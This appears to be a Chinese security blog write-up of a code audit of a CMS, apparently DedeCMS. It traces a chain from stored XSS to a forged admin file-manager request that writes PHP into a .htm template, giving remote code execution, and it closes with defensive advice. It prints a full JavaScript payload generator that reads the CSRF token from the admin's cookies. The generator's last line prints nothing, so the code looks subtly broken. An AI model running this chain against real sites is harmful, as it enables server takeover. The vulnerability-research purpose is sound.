记一次代码审计中RCE挖掘及POC编写。
字数 1295 2025-08-20 18:17:59
代码审计中的RCE漏洞挖掘与POC编写实战教学
漏洞背景与发现
本次审计目标是一个CMS系统,其模板引入方式存在安全隐患。系统直接使用include包含.htm模板文件,而不是将PHP处理后的数据放入模板中。这种设计为后续的远程代码执行(RCE)漏洞埋下了隐患。
核心漏洞分析
1. 文件管理模块漏洞
漏洞位于src/admin/file_manage_control.php文件,该文件负责处理文件操作,但防护策略存在缺陷:
路径处理漏洞 ($activepath)
- 代码仅规范化路径,防止目录遍历(
..) - 未限制同一目录下的文件夹名访问
- 关键防御代码(15-17行)过于简单
文件名处理漏洞 ($filename)
- 代码(44-48行)过滤了危险扩展名:
php|pl|cgi|asp|aspx|jsp|php5|php4|php3|shtm|shtml - 但
.htm扩展名未被过滤 - 仅检查文件名中的
..,无其他严格限制
2. 模板包含机制漏洞
系统使用危险的方式包含模板文件:
include XXInclude('templets/catalog_add.htm');
这种设计允许:
- 将PHP代码写入
.htm文件 - 当该文件被
include时,PHP代码会被执行
漏洞利用链构建
初始利用限制
- 仅后台管理员可访问
/admin路由 - 仅管理员有文件修改权限
权限绕过方案
方案1: 利用登录页面
/admin/login.php无需权限即可访问- 可将恶意代码写入
/admin/login.htm
方案2: 组合其他漏洞提升权限
-
SQL注入:
- 在
src/admin/article_edit.php中发现疑似SQL注入点(148行) - 查询语句未使用参数化:
$query = "UPDATE `#@__archives` SET typeid='$typeid',... WHERE id='$id';";- 但系统有
CheckSql过滤机制,可能需要特殊绕过技巧
- 在
-
存储型XSS:
- 参数未做XSS过滤
- 可在文档中插入XSS payload
- 管理员审核时触发XSS,自动写入shell
完整利用链POC
XSS Payload生成器
// 将此脚本放在浏览器控制台执行即可获得payload
var codeString = "// 获取URL\n" +
"var url = document.URL;\n" +
"var domainMatch = url.match(/^(https?:\\/\\/[^/]+)/);\n" +
"var domain = domainMatch[1];\n" +
"\n" +
"// 获取Cookie\n" +
"var cookieString = document.cookie;\n" +
"\n" +
"// 创建一个新的 form 元素\n" +
"var form = document.createElement(\"form\");\n" +
"\n" +
"// 设置 form 的属性\n" +
"form.setAttribute(\"method\", \"POST\");\n" +
"form.setAttribute(\"action\", domain+\"/admin/file_manage_control.php\");\n" +
"\n" +
"// 使用正则表达式匹配 dede_csrf_token 的值\n" +
"var csrfTokenMatch = cookieString.match(/dede_csrf_token=([^;]+)/);\n" +
"\n" +
"// 提取匹配到的值\n" +
"var csrfTokenValue = csrfTokenMatch[1]; // 提取匹配到的值\n" +
"\n" +
"// 创建并设置隐藏字段\n" +
"var fields = [\n" +
" { name: \"fmdo\", value: \"edit\" },\n" +
" { name: \"backurl\", value: \"\" },\n" +
" { name: \"_csrf_token\", value: csrfTokenValue },\n" +
" { name: \"activepath\", value: \"/admin/templets\" },\n" +
" { name: \"filename\", value: \"login.htm\" },\n" +
" { name: \"str\", value: \"1<?php phpinfo();?>\" },\n" +
" { name: \"B1\", value: \"\" }\n" +
"];\n" +
"\n" +
"// 遍历字段数组并创建相应的 input 元素\n" +
"fields.forEach(function (field) {\n" +
" var input = document.createElement(\"input\");\n" +
" input.setAttribute(\"type\", \"hidden\");\n" +
" input.setAttribute(\"name\", field.name);\n" +
" input.setAttribute(\"value\", field.value);\n" +
" form.appendChild(input);\n" +
"});\n" +
"\n" +
"// 创建一个提交按钮并添加到 form 中\n" +
"var submitButton = document.createElement(\"input\");\n" +
"submitButton.setAttribute(\"type\", \"submit\");\n" +
"submitButton.setAttribute(\"value\", \"Submit request\");\n" +
"form.appendChild(submitButton);\n" +
"\n" +
"// 将 form 添加到文档中并自动提交\n" +
"document.body.appendChild(form);\n" +
"form.submit();";
// 转换为ASCII码形式以绕过简单过滤
var asciiArray = [];
for (var i = 0; i < codeString.length; i++) {
asciiArray.push(codeString.charCodeAt(i));
}
var asciiString = asciiArray.join(',');
console.log('')
利用步骤
- 攻击者利用普通用户权限在文档中插入XSS payload
- 管理员审核文档时触发XSS
- XSS自动向
/admin/file_manage_control.php发送POST请求 - 将PHP代码写入
/admin/templets/login.htm - 访问
http://target/admin/login.php执行代码
防御建议
-
模板包含机制:
- 避免直接包含用户可控的模板文件
- 使用模板引擎或严格的过滤机制
-
文件管理模块:
- 实施更严格的文件扩展名过滤
- 增加文件内容安全检查
- 限制可编辑的文件路径范围
-
输入验证:
- 对所有用户输入实施严格的过滤
- 对SQL查询使用参数化查询
- 对所有输出进行HTML编码
-
权限控制:
- 实施最小权限原则
- 关键操作需要二次验证
总结
本案例展示了如何通过代码审计发现RCE漏洞,并构建完整的利用链。关键点包括:
- 识别危险的模板包含机制
- 分析文件管理模块的过滤缺陷
- 结合XSS绕过权限限制
- 编写自动化攻击的POC
这种漏洞组合在实际渗透测试中很常见,理解其原理有助于开发更安全的系统和进行更有效的安全测试。